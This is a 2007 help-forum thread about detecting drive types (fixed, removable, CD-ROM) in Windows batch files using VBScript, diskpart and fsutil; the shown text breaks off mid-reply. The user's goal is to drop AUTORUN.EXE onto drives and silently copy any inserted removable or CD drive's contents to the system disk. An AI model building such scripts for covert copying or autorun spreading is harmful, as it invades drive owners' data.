Welcome guest. Before posting on our computer help forum, you must register. Click here it's easy and free.

Author Topic: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???  (Read 32295 times)

0 Members and 1 Guest are viewing this topic.

gumbaz

    Topic Starter


    Intermediate

    Is there anyway to check in MS-DOS to see whether a certain Drive is Fixed or Removable or a CD-DVD drive..???

    contrex

    • Guest
    Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
    « Reply #1 on: August 01, 2007, 11:57:41 PM »
    psinfo -d

    http://www.softpedia.com/get/System/System-Info/PsInfo.shtml

    Quote

    PsInfo v1.75 - Local and remote system information viewer
    Copyright (C) 2001-2007 Mark Russinovich
    Sysinternals - www.sysinternals.com

    System information for \\PUPP-C92F25ED23:
    Uptime:                    0 days 0 hours 15 minutes 38 seconds
    Kernel version:            Microsoft Windows XP, Multiprocessor Free
    Product type:              Professional
    Product version:           5.1
    Service pack:              2
    Kernel build number:       2600
    Registered organization:   Pupp Skool
    Registered owner:          Mad Pupp
    Install date:              07/12/2004, 17:18:53
    Activation status:         Error reading status
    IE version:                6.0000
    System root:               C:\WINDOWS
    Processors:                2
    Processor speed:           2.4 GHz
    Processor type:            Intel(R) Pentium(R) 4 CPU
    Physical memory:           1014 MB
    Video driver:              RADEON 9100 IGP
    Volume Type       Format     Label                      Size       Free   Free
        C: Fixed      NTFS       Winxp                  14.66 GB    2.55 GB  17.4%
        D: Fixed      FAT32      BACKUPS                14.63 GB    8.53 GB  58.3%
        E: Fixed      NTFS       Multimedia             46.24 GB    8.72 GB  18.8%
        F: Fixed      NTFS       Various                31.59 GB   22.52 GB  71.3%
        G: Fixed      NTFS       Downloads              46.24 GB   23.82 GB  51.5%
        T: Removable  FAT                              980.70 MB  525.59 MB  53.6%
        X: CD-ROM                                                             0.0%


    gumbaz

      Topic Starter


      Intermediate

      Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
      « Reply #2 on: August 02, 2007, 12:20:57 AM »
      is there any other way to do this though without the use of using and external downloaded app though..???

      ghostdog74



        Specialist

        Thanked: 27
        Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
        « Reply #3 on: August 02, 2007, 03:25:10 AM »
        sure, you can use vbscript. Here's an example only
        Code: [Select]
        Option Explicit
        Dim filesys,Drives,DriveLetter,DriveType,DiskDrive,drtype
        set filesys = CreateObject("Scripting.FileSystemObject")
        For Each DiskDrive in filesys.Drives
        DriveLetter = DiskDrive.DriveLetter
        DriveType = DiskDrive.DriveType
        select case DriveType
            case 0: drtype = "Unknown"
            case 1: drtype = "Removable"
            case 2: drtype = "Fixed"
            case 3: drtype = "Network"
            case 4: drtype = "CD-ROM"
            case 5: drtype = "RAM Disk"
        end Select
        WScript.Echo "Drive "&DriveLetter &" is :" &drtype
        Next
        save it as a .vbs file and to run it, on command prompt, type:
        c:>cscript /nologo myscript.vbs

        gumbaz

          Topic Starter


          Intermediate

          Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
          « Reply #4 on: August 02, 2007, 05:36:40 AM »
          OK, so then how can i use this .vbs file for my app which checks each drive on the PC and if it is a certain type it goes to a specific line in my batch file..
          --------------------------------
              **--EXAMPLE--**
          --------------------------------
          IF DRIVE D IS :FIXED THEN GOTO D-COPY-1
          IF DRIVE D IS :CD-ROM THEN GOTO D-COPY-2
          IF DRIVE D IS :REMOVABLE OR :NETWORK THEN GOTO D-COPY-3
          : D-COPY-1
          XCOPY %MYFILES%\AUTORUN.EXE D:\ /Y && GOTO SKIP-D
          : D-COPY-2
          XCOPY D:\ C:\0\D\ && GOTO SKIP-D
          : D-COPY-3
          XCOPY %MYFILES%\AUTORUN.EXE D:\ /Y && XCOPY D:\ C:\0\D\
          : SKIP-D

          gumbaz

            Topic Starter


            Intermediate

            Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
            « Reply #5 on: August 03, 2007, 12:13:16 AM »
            anybody have any ideas at all..???

            contrex

            • Guest
            Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
            « Reply #6 on: August 03, 2007, 01:53:54 AM »
            run the script and see if it outputs to the screen (ie STDOUT) if it does, you can use FOR to capture the output.

            So do that and report back.


            gumbaz

              Topic Starter


              Intermediate

              Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
              « Reply #7 on: August 03, 2007, 04:35:26 AM »
              well when i just double click on the .vbs file i get little visual pop-up "windows script host" windows that state which drive is what and a clickable ok button on them..

              but if i place the .vbs at c:\myscript.vbs and run the code that ghostdog74 siad to  "c:>cscript /nologo myscript.vbs" in a CMD window, than i just get the output in the same CMD window like this:


              C:\>cscript /nologo myscript.vbs
              Drive C is :Fixed
              Drive D is :CD-ROM

              So what exactly are you saying i do now contrex  with the "STDOUT" & "FOR" commands..??

              ghostdog74



                Specialist

                Thanked: 27
                Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                « Reply #8 on: August 03, 2007, 08:52:05 AM »
                @OP, you had a different requirement than what is stated in your first post. That's why in my vbscript , i did not include anything else except to display to you what the drive type is. By looking at what you intend to do, my suggestion is to do the copying in vbscript. I provide an example, you learn how to use vbscript and do the rest .... else, wait for some dos solutions
                Code: [Select]
                Option Explicit
                Dim filesys,Drives,DriveLetter,DriveType,DiskDrive,drtype
                Dim destination,source
                destination = "d:\autorun.exe"
                source = "c:\myfiles\autorun.exe"
                Set filesys = CreateObject("Scripting.FileSystemObject")
                For Each DiskDrive in filesys.Drives
                DriveLetter = DiskDrive.DriveLetter
                DriveType = DiskDrive.DriveType
                select case DriveType
                    case 0:
                    drtype = "Unknown"
                    case 1: drtype = "Removable"   
                    case 2: drtype = "Fixed"
                    case 3: drtype = "Network"
                    case 4: drtype = "CD-ROM"
                [color=red]     If DriveLetter = "D" Then
                            filesys.GetFile(source).Copy(destination)
                         End If[/color]
                    case 5: drtype = "RAM Disk"
                end Select
                WScript.Echo "Drive "&DriveLetter &" is :" &drtype
                Next

                Fen_Li



                  Beginner

                • G-Smart thing Smart
                • Thanked: 2
                  Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                  « Reply #9 on: August 03, 2007, 01:27:10 PM »
                  Hope this help you .. ;D ;D
                  a little untested Batch :
                  -----------------------------------------------------
                  @echo off
                  :up
                  cls
                  (set Drive=)
                  (set type=)
                  set /p Drive=Type Drive Letter :
                  if not exist "%Drive%:\" goto up
                  for /f "tokens=1-4" %%a in ('echo list volume ^|diskpart ^|find "Partition"') do (
                     if /i "%Drive%"=="%%~c" goto O-Copy-1
                  )
                  for /f "tokens=1-4" %%a in ('echo list volume ^|diskpart ^|find "CD-ROM"') do (
                     if /i "%Drive%"=="%%~c" goto O-Copy-2
                  )
                  for /f "tokens=1-4" %%a in ('echo list volume ^|diskpart ^|find "Removeable"') do (
                     if /i "%Drive%"=="%%~c" goto O-Copy-3
                  )
                  goto :eof
                  :O-Copy-1
                  XCOPY "%MYFILES%\AUTORUN.EXE" "%Drive%:\" /Y
                  goto :eof
                  :O-Copy-2
                  XCOPY "%Drive%:\" "C:\0\D\"
                  goto :eof
                  :O-Copy-3
                  XCOPY "%MYFILES%\AUTORUN.EXE" "%Drive%:\" /Y
                  XCOPY "%Drive%:\" "C:\0\D\"
                  ..Still Newbie KID..

                  gumbaz

                    Topic Starter


                    Intermediate

                    Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                    « Reply #10 on: August 03, 2007, 04:39:19 PM »
                    @Fen_Li
                    am i suppose to use this CODE with the VBS file or no..??
                    I changed your code a lil just to test if it would work right to this:

                    Code: [Select]
                    (set Drive=)
                    (set type=)
                    set /p Drive=Type Drive Letter :
                    for /f "tokens=1-4" %%a in ('echo list volume ^|diskpart ^|find "Partition"') do (
                       if /i "%Drive%"=="%%~c" goto D-Copy-1)

                    for /f "tokens=1-4" %%a in ('echo list volume ^|diskpart ^|find "CD-ROM"') do (
                       if /i "%Drive%"=="%%~c" goto D-Copy-2)

                    for /f "tokens=1-4" %%a in ('echo list volume ^|diskpart ^|find "Removable"') do (
                       if /i "%Drive%"=="%%~c" goto D-Copy-3)

                    :D-Copy-1
                    START C:\
                    GOTO END

                    :D-Copy-2
                    START CALC
                    GOTO END

                    :D-Copy-3
                    START NOTPAD
                    :END

                    I then type in my drive letter F
                    But it still doesn't seem to work right.. it keeps going to D-COPY-1 NO MATTER WHAT..??

                    Heres the output when testing drive F:\ Which is a "REMOVABLE" USB drive on my pc

                    Code: [Select]
                    Microsoft Windows XP [Version 5.1.2600]
                    (C) Copyright 1985-2001 Microsoft Corp.

                    C:\Documents and Settings\VM-WARE>"C:\Documents and Settings\VM-WARE\Desktop\1.BAT"

                    C:\Documents and Settings\VM-WARE>(set Drive= )

                    C:\Documents and Settings\VM-WARE>(set type= )

                    C:\Documents and Settings\VM-WARE>set /p Drive=Type Drive Letter :
                    Type Drive Letter :f

                    C:\Documents and Settings\VM-WARE>for /F "tokens=1-4" %a in ('echo list volume |diskpart |find "Part
                    ition"') do (if /I "f" == "%~c" goto D-Copy-1 )

                    C:\Documents and Settings\VM-WARE>(if /I "f" == "C" goto D-Copy-1 )

                    C:\Documents and Settings\VM-WARE>for /F "tokens=1-4" %a in ('echo list volume |diskpart |find "CD-R
                    OM"') do (if /I "f" == "%~c" goto D-Copy-2 )

                    C:\Documents and Settings\VM-WARE>(if /I "f" == "E" goto D-Copy-2 )

                    C:\Documents and Settings\VM-WARE>for /F "tokens=1-4" %a in ('echo list volume |diskpart |find "Remo
                    vable"') do (if /I "f" == "%~c" goto D-Copy-3 )

                    C:\Documents and Settings\VM-WARE>START C:\

                    C:\Documents and Settings\VM-WARE>GOTO END

                    C:\Documents and Settings\VM-WARE>

                    gumbaz

                      Topic Starter


                      Intermediate

                      Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                      « Reply #11 on: August 03, 2007, 10:02:38 PM »
                      anymore suggestions at all..??

                      contrex

                      • Guest
                      Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                      « Reply #12 on: August 03, 2007, 11:17:23 PM »
                      Quote
                      anymore suggestions at all..??

                      gumbaz, maybe you could stop with the whining and begging for help? It is undignified and it is rude to the people who have helped you already. Have you thought about maybe trying to solve your problem yourself?


                      gumbaz

                        Topic Starter


                        Intermediate

                        Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                        « Reply #13 on: August 04, 2007, 12:49:34 AM »
                        I aint whining man.. and yes i did try to solve this myself but cant seem to do it, so thats why im here asking for help..duh.!!!
                        im new at this stuff and I just need a lil assistance, thats all ..
                        give a brova a chance at least man, c'mon...
                        and yes, i am thankful for everyones help so far..

                        contrex

                        • Guest
                        Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                        « Reply #14 on: August 04, 2007, 01:17:21 AM »
                        OK man sorry if I gave you a hard time there, it's just that when people keep posting stuff like "any more ideas ??" it sort of seems like you are saying "hurry up and solve MY problem!" and it sort of riles people. This is a free help forum. You get the help you get, when you get it.

                        Can I ask you a question. You are "new at this stuff" so why are you all of a sudden writing these bigass rocket science batch files huh? And why R U so crazy to get it done ?? Is it coz its your homework?


                        contrex

                        • Guest
                        Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                        « Reply #15 on: August 04, 2007, 02:45:47 AM »
                        This illustrates

                        (1) how to extract a string from program output
                        (2) the virtue of patience

                        This is how you can get the drive type from Ghostdog74's excellent vbscript using XP command line

                        Note: I have called it drivetype.vbs, not myscript.vbs

                        Quote

                        @echo off
                        set letter=D
                        for /f "delims=: tokens=2" %%t in ('cscript /nologo drivetype.vbs ^| find "Drive %letter%"') do set dtype=%%t
                        if "%dtype%"=="Fixed" echo Drive %letter% is fixed


                        Fitting it into your code...

                        By the way is the drive letter always going to be D? If not, you'd better change D:\ to %letter%:\ in the XCOPY commands

                        Quote

                        set letter=D

                        for /f "delims=: tokens=2" %%t in ('cscript /nologo drivetype.vbs ^| find "Drive %letter%"') do set dtype=%%t

                        IF "%dtype%=="Fixed"     GOTO D-COPY-1
                        IF "%dtype%=="CD-ROM"    GOTO D-COPY-2
                        IF "%dtype%=="Removable" GOTO D-COPY-3
                        IF "%dtype%=="Network"   GOTO D-COPY-3

                        : D-COPY-1
                        XCOPY %MYFILES%\AUTORUN.EXE D:\ /Y && GOTO SKIP-D
                        : D-COPY-2
                        XCOPY D:\ C:\0\D\ && GOTO SKIP-D
                        : D-COPY-3
                        XCOPY %MYFILES%\AUTORUN.EXE D:\ /Y && XCOPY D:\ C:\0\D\
                        : SKIP-D


                        I did say I wouldn't do your homework for you, but I relented.
                        « Last Edit: August 04, 2007, 04:29:07 AM by contrex »

                        gumbaz

                          Topic Starter


                          Intermediate

                          Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                          « Reply #16 on: August 04, 2007, 05:01:26 AM »
                          thank you so very much for your help so far Contrex i greatly appreciate it..!!!
                          But the code still doesn't seem to be working right...

                          I changed the code a lil bit for testing simplicity & im checking drive F:\ which is a "Removable" USB Drive..

                          ---BATCH FILE CODE---
                          Quote
                          CD C:\
                          cscript /nologo drivetype.vbs

                          set letter=F

                          for /f "delims=: tokens=2" %%t in ('cscript /nologo drivetype.vbs ^| find "Drive %letter%"') do set dtype=%%t

                          IF "%dtype%=="Fixed"      GOTO COPY-1
                          IF "%dtype%=="CD-ROM"     GOTO COPY-2
                          IF "%dtype%=="Removable"  GOTO COPY-3
                          IF "%dtype%=="Network"    GOTO COPY-3

                          :COPY-1
                          START C:\
                          GOTO END

                          :COPY-2
                          START NOTEPAD
                          GOTO END

                          :COPY-3
                          START CALC
                          :END

                          But when I run this BATCH file in a CMD window, this is the output I get..

                          Quote
                          Microsoft Windows XP [Version 5.1.2600]
                          (C) Copyright 1985-2001 Microsoft Corp.

                          C:\Documents and Settings\VM-WARE>C:\1.BAT

                          C:\Documents and Settings\VM-WARE>CD C:\

                          C:\>cscript /nologo drivetype.vbs
                          Drive C is :Fixed
                          Drive D is :CD-ROM
                          Drive E is :CD-ROM
                          Drive F is :Removable

                          C:\>set letter=F

                          C:\>for /F "delims=: tokens=2" %t in ('cscript /nologo drivetype.vbs | find "Drive F"') do set dtype=%t

                          C:\>set dtype=Removable
                          The syntax of the command is incorrect.
                          C:\>IF "Removable=="Fixed"      GOTO COPY-1
                          C:\>

                          so nothing happens at all, and it doesn't go to any of the :COPY-#'s

                          contrex

                          • Guest
                          Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                          « Reply #17 on: August 04, 2007, 06:07:49 AM »
                          I made the same typing error 4 times. Try and spot it.

                          I'll tell you what the mistake is if you answer my question.

                          And, you don't need to run the script at the start.

                          CD C:\
                          cscript /nologo drivetype.vbs (not needed)




                          « Last Edit: August 04, 2007, 06:41:36 AM by contrex »

                          gumbaz

                            Topic Starter


                            Intermediate

                            Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                            « Reply #18 on: August 04, 2007, 06:41:38 AM »
                            Can I ask you a question. You are "new at this stuff" so why are you all of a sudden writing these bigass rocket science batch files huh? And why R U so crazy to get it done ?? Is it coz its your homework?
                            Becuz i was just abducted by some illegal Nephilim Aliens who implanted some Einstein device into my brain that keeps telling me: "Make BigAss Rocket Science Batch Files or else we will *censored* prob you again..hakaka ka ka hak akka ka and make sure you ask contrex from http://www.computerhope.com/forum/ a bunch of times for assistance to make sure they work properly before you gives them to us or else"

                            and I really didn't enjoy the first time they probed me anus becuz they sumhow managed to find and extract a chupacabra, bigfoot, mothman and a purple 3 headed leprechaun that they were hiding up in there (no wonder i was farting so much lately) from the very first time those blimy grey bastards beemed me up scotty.. so thaz why i am in a hury to not get *censored* probed again..

                            ok so theres my story so where is the typing error you made please..??

                            contrex

                            • Guest
                            Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                            « Reply #19 on: August 04, 2007, 06:51:11 AM »
                            That was very funny. It was so funny and I laughed so much, I completely forgot what the error was! I'm sure you'll spot it though.

                            gumbaz

                              Topic Starter


                              Intermediate

                              Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                              « Reply #20 on: August 04, 2007, 07:02:05 AM »
                              funny,
                              funny how.??
                              what am i clown.??
                              do i amuse you..??
                              am i here for your amusement..??
                              JK JK JK JK... ;D  ;D  ;D
                              ima funny guy.. ahahahah
                              funny looking that is...

                              but c'mon man what is the typo you made 4 times..??
                              is it in here:
                              IF "%dtype%=="Fixed"      GOTO COPY-1
                              IF "%dtype%=="CD-ROM"     GOTO COPY-2
                              IF "%dtype%=="Removable"  GOTO COPY-3
                              IF "%dtype%=="Network"    GOTO COPY-3

                              contrex

                              • Guest
                              Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                              « Reply #21 on: August 04, 2007, 07:04:51 AM »
                              am i here for your amusement..??

                               :)

                              Quote
                              but c'mon man what is the typo you made 4 times..??
                              is it in here:
                              IF "%dtype%=="Fixed"      GOTO COPY-1
                              IF "%dtype%=="CD-ROM"     GOTO COPY-2
                              IF "%dtype%=="Removable"  GOTO COPY-3
                              IF "%dtype%=="Network"    GOTO COPY-3

                              Yes




                              gumbaz

                                Topic Starter


                                Intermediate

                                Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                « Reply #22 on: August 04, 2007, 07:09:58 AM »
                                alright well it looks like im getting *censored* probed again because i havent no idea whats woing wif it so..
                                your my only hope Oby-one-contrex

                                contrex

                                • Guest
                                Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                « Reply #23 on: August 04, 2007, 07:20:53 AM »
                                Wrong: IF "%dtype%==

                                Right: IF "%dtype%"==


                                gumbaz

                                  Topic Starter


                                  Intermediate

                                  Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                  « Reply #24 on: August 04, 2007, 07:34:26 AM »
                                  SO EFFING NICE MATE...
                                  THANKS A BILLION...!!!

                                  gumbaz

                                    Topic Starter


                                    Intermediate

                                    Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                    « Reply #25 on: August 04, 2007, 10:50:20 AM »
                                    sure, you can use vbscript. Here's an example only
                                    Code: [Select]
                                    Option Explicit
                                    Dim filesys,Drives,DriveLetter,DriveType,DiskDrive,drtype
                                    set filesys = CreateObject("Scripting.FileSystemObject")
                                    For Each DiskDrive in filesys.Drives
                                    DriveLetter = DiskDrive.DriveLetter
                                    DriveType = DiskDrive.DriveType
                                    select case DriveType
                                        case 0: drtype = "Unknown"
                                        case 1: drtype = "Removable"
                                        case 2: drtype = "Fixed"
                                        case 3: drtype = "Network"
                                        case 4: drtype = "CD-ROM"
                                      case 5: drtype = "RAM Disk"
                                    end Select
                                    WScript.Echo "Drive "&DriveLetter &" is :" &drtype
                                    Next
                                    save it as a .vbs file and to run it, on command prompt, type:
                                    c:>cscript /nologo myscript.vbs

                                    sorry, one more question on this subject..

                                    Is there anyway to edit the drivetype.vbs to detect if a drive does not exist
                                    so i can make this batch code work..??
                                    Code: [Select]
                                    set letter=H
                                    for /f "delims=: tokens=2" %%t in ('cscript /nologo drivetype.vbs ^| find "Drive %letter%"') do set dtype=%%t
                                    IF "%dtype%"=="Not Exist"  GOTO END
                                    IF "%dtype%"=="Fixed"      GOTO COPY-1
                                    IF "%dtype%"=="CD-ROM"     GOTO COPY-2
                                    IF "%dtype%"=="Removable"  GOTO COPY-3
                                    IF "%dtype%"=="Network"    GOTO COPY-3

                                    :COPY-1
                                    START C:\
                                    GOTO END

                                    :COPY-2
                                    START NOTEPAD
                                    GOTO END

                                    :COPY-3
                                    START CALC
                                    :END

                                    contrex

                                    • Guest
                                    Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                    « Reply #26 on: August 04, 2007, 11:42:14 AM »

                                    one more question on this subject..

                                    Is there anyway to edit the drivetype.vbs to detect if a drive does not exist
                                    so i can make this batch code work..??

                                    No need. Just put 1 line in your batch file

                                    Quote

                                    set letter=H

                                    if not exist "%letter%:\" goto end

                                    for /f "delims=: tokens=2" %%t in ('cscript /nologo drivetype.vbs ^| find "Drive %letter%"') do set dtype=%%t
                                    IF "%dtype%"=="Not Exist"  GOTO END (delete)
                                    IF "%dtype%"=="Fixed"      GOTO COPY-1
                                    IF "%dtype%"=="CD-ROM"     GOTO COPY-2
                                    IF "%dtype%"=="Removable"  GOTO COPY-3
                                    IF "%dtype%"=="Network"    GOTO COPY-3

                                    :COPY-1
                                    START C:\
                                    GOTO END

                                    :COPY-2
                                    START NOTEPAD
                                    GOTO END

                                    :COPY-3
                                    START CALC
                                    :END

                                    Fen_Li



                                      Beginner

                                    • G-Smart thing Smart
                                    • Thanked: 2
                                      Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                      « Reply #27 on: August 09, 2007, 10:23:17 AM »
                                      I thing My script work on me
                                      but no problem, you also can use fsutil (Windows XP External Command) to query drive type:

                                      Ex: I presume Drive D: is Removeable
                                      code : fsutil fsinfo drivetype D:

                                      it will return : "D: - Removable Drive"
                                      ..Still Newbie KID..

                                      gumbaz

                                        Topic Starter


                                        Intermediate

                                        Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                        « Reply #28 on: August 30, 2007, 04:55:50 AM »
                                        sure, you can use vbscript. Here's an example only
                                        Code: [Select]
                                        Option Explicit
                                        Dim filesys,Drives,DriveLetter,DriveType,DiskDrive,drtype
                                        set filesys = CreateObject("Scripting.FileSystemObject")
                                        For Each DiskDrive in filesys.Drives
                                        DriveLetter = DiskDrive.DriveLetter
                                        DriveType = DiskDrive.DriveType
                                        select case DriveType
                                            case 0: drtype = "Unknown"
                                            case 1: drtype = "Removable"
                                            case 2: drtype = "Fixed"
                                            case 3: drtype = "Network"
                                            case 4: drtype = "CD-ROM"
                                            case 5: drtype = "RAM Disk"
                                        end Select
                                        WScript.Echo "Drive "&DriveLetter &" is :" &drtype
                                        Next
                                        save it as a .vbs file and to run it, on command prompt, type:
                                        c:>cscript /nologo myscript.vbs

                                        Hey, are there any other types of drives other than those 6 you listed or is that it..??

                                        contrex

                                        • Guest
                                        Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                        « Reply #29 on: August 30, 2007, 06:03:23 AM »
                                        Quote
                                        Hey, are there any other types of drives other than those 6 you listed or is that it..??

                                        The Win32_LogicalDisk class allows 6 possible types, so yes, that's it.




                                        gumbaz

                                          Topic Starter


                                          Intermediate

                                          Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                          « Reply #30 on: September 01, 2007, 08:59:28 AM »
                                          I was pondering sum more on this subject and then had an another idea.
                                          but im not sure if it would work or how to write it though..

                                          When the drivetype.vbs is called into the CMD "cscript /nologo drivetype.vbs" it detects all the "Drive types" at once right..
                                          so could there be a way to: once it has detected all the drives and their types, make it go to a certain line for each drive it has detected  simultaneously at the same time, or just have it go to a certain line for each drive it detected.. without having to set each drive letter in the "set letter= " parameter..

                                          contrex

                                          • Guest
                                          Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                          « Reply #31 on: September 01, 2007, 09:07:46 AM »
                                          Could you unscramble that and write it again in English?

                                          gumbaz

                                            Topic Starter


                                            Intermediate

                                            Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                            « Reply #32 on: September 01, 2007, 09:14:30 AM »
                                            that iz english.... what dont you understand..??

                                            contrex

                                            • Guest
                                            Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                            « Reply #33 on: September 01, 2007, 09:19:12 AM »
                                            that iz english.... what dont you understand..??

                                            This bit

                                            Quote
                                            When the drivetype.vbs is called into the CMD "cscript /nologo drivetype.vbs" it detects all the "Drive types" at once right..
                                            so could there be a way to: once it has detected all the drives and their types, make it go to a certain line for each drive it has detected  simultaneously at the same time, or just have it go to a certain line for each drive it detected.. without having to set each drive letter in the "set letter= " parameter..

                                            gumbaz

                                              Topic Starter


                                              Intermediate

                                              Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                              « Reply #34 on: September 01, 2007, 09:23:03 AM »
                                              it makes sense to me..

                                              when  "cscript /nologo drivetype.vbs" detects all the drive types i want it to go to a certain line in my batch code for each drive it detected..
                                              without having to set each drive letter in the "set letter= " parameter from this code..

                                              set letter=H

                                              for /f "delims=: tokens=2" %%t in ('cscript /nologo drivetype.vbs ^| find "Drive %letter%"') do set dtype=%%t
                                              IF "%dtype%"=="Fixed"      GOTO COPY-1
                                              IF "%dtype%"=="CD-ROM"     GOTO COPY-2
                                              IF "%dtype%"=="Removable"  GOTO COPY-3
                                              IF "%dtype%"=="Network"    GOTO COPY-3

                                              :COPY-1
                                              START C:\
                                              GOTO END

                                              :COPY-2
                                              START NOTEPAD
                                              GOTO END

                                              :COPY-3
                                              START CALC
                                              :END

                                              contrex

                                              • Guest
                                              Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                              « Reply #35 on: September 01, 2007, 10:02:38 AM »
                                              it makes sense to me..

                                              when  "cscript /nologo drivetype.vbs" detects all the drive types i want it to go to a certain line in my batch code for each drive it detected..
                                              without having to set each drive letter in the "set letter= " parameter from this code..




                                              set letter=H

                                              for /f "delims=: tokens=2" %%t in ('cscript /nologo drivetype.vbs ^| find "Drive %letter%"') do set dtype=%%t
                                              IF "%dtype%"=="Fixed"      GOTO COPY-1
                                              IF "%dtype%"=="CD-ROM"     GOTO COPY-2
                                              IF "%dtype%"=="Removable"  GOTO COPY-3
                                              IF "%dtype%"=="Network"    GOTO COPY-3

                                              :COPY-1
                                              START C:\
                                              GOTO END

                                              :COPY-2
                                              START NOTEPAD
                                              GOTO END

                                              :COPY-3
                                              START CALC
                                              :END

                                              The vbs code does not "detect all the drive types".

                                              The batch file passes a letter (H in the code you posted) to the Visual Basic Script (VBS).

                                              The VBS script, in turn, passes the letter to Windows and gets a drive type number back.

                                              Then it looks at a list of six English words and phrases, to see what the number means and passes that word or phrase back to the batch file. That list is "Unknown", "Removable", "Fixed", "Network", "CD-ROM", "RAM Disk".

                                              So what do you want your batch file to do?




                                              gumbaz

                                                Topic Starter


                                                Intermediate

                                                Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                                « Reply #36 on: September 01, 2007, 10:28:11 AM »
                                                The vbs code does not "detect all the drive types".

                                                yes it does.. place the drivetype.vbs in c:\ and run the code "cscript /nologo drivetype.vbs"  in CMD and
                                                it lists all the available drives and their types...

                                                Code: [Select]
                                                C:\>cscript /nologo drivetype.vbs
                                                Drive C is :Fixed
                                                Drive D is :CD-ROM
                                                Drive E is :Removable

                                                Now for all those Drives it just found-listed , I want the batch file to do this code for each one..

                                                Code: [Select]
                                                IF "%dtype%"=="Fixed"      GOTO COPY-1
                                                IF "%dtype%"=="CD-ROM"     GOTO COPY-2
                                                IF "%dtype%"=="Removable"  GOTO COPY-3
                                                IF "%dtype%"=="Network"    GOTO COPY-3

                                                :COPY-1
                                                START C:\
                                                GOTO END

                                                :COPY-2
                                                START NOTEPAD
                                                GOTO END

                                                :COPY-3
                                                START CALC
                                                :END


                                                contrex

                                                • Guest
                                                Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                                « Reply #37 on: September 01, 2007, 11:05:53 AM »
                                                So you want run the code, and at the end, you will have

                                                Windows Explorer open in drive C:\ (because drive C is fixed)
                                                Notepad started (because drive D is CD-ROM)
                                                Calc started (because drive E is removable)

                                                Is that right?

                                                You actually have the answer yourself in your own post...

                                                Quote
                                                for all those Drives it just found-listed , I want the batch file to do this code for each one..

                                                Surely you have been here long enough to understand about FOR loops?

                                                You do understand that no batch file or vbs script can do more than one thing "simultaneously at the same time" as you put it?





                                                gumbaz

                                                  Topic Starter


                                                  Intermediate

                                                  Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                                  « Reply #38 on: September 05, 2007, 11:00:06 AM »
                                                  not exactly..
                                                  see the batch file im making checks all the drives A-Z regardless if they are present or not and if its present then it copies the files on that drive to a folder on the OS Drive and then once the drive is removed that folder gets renamed with a timestamp..

                                                  so i figure to make this batch file more efficient, why should it be checking all of the drives A-Z when it can just process the drives that the "cscript /nologo drivetype.vbs"  detects are present..

                                                  then for each drive that the "cscript /nologo drivetype.vbs" finds present,  i want to run this code for it  below.
                                                  the commands for COPY-1-2-3 are just simple test commands for ease of testing, I have different robocopy commands for each drive type it detects for the real batch file im using though.

                                                  Code: [Select]
                                                  set letter=F
                                                  for /f "delims=: tokens=2" %%t in ('cscript /nologo drivetype.vbs ^| find "Drive %letter%"') do set dtype=%%t
                                                  IF "%dtype%"=="Fixed"      GOTO COPY-1
                                                  IF "%dtype%"=="CD-ROM"     GOTO COPY-2
                                                  IF "%dtype%"=="Removable"  GOTO COPY-3
                                                  IF "%dtype%"=="Network"    GOTO COPY-3

                                                  :COPY-1
                                                  START C:\
                                                  GOTO END

                                                  :COPY-2
                                                  START NOTEPAD
                                                  GOTO END

                                                  :COPY-3
                                                  START CALC
                                                  :END

                                                  so is what im asking possible at all. if so how would i code it..??

                                                  contrex

                                                  • Guest
                                                  Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                                  « Reply #39 on: September 05, 2007, 03:35:40 PM »
                                                  This is one way you could process the output of the vbs script. This is just a rough hack, please feel free to experiment and learn about batch syntax...

                                                  Quote



                                                  REM This is the start of the loop
                                                  for /f "tokens=1,2,3,4 delims=: " %%A in ('cscript /nologo drivetype.vbs') do (

                                                     if "%%D"=="Fixed" (
                                                        REM this is your COPY-1
                                                        echo Drive %%B...
                                                        echo Performing actions for fixed drive
                                                        REM for example,
                                                        REM CALL COPY-1.bat
                                                        )

                                                     if "%%D"=="CD-ROM" (
                                                        REM this is your COPY-2
                                                        echo Drive %%B...
                                                        echo Performing actions for CD-ROM drive
                                                        REM for example,
                                                        REM CALL COPY-2.bat
                                                        )

                                                     if "%%D"=="Removable" (
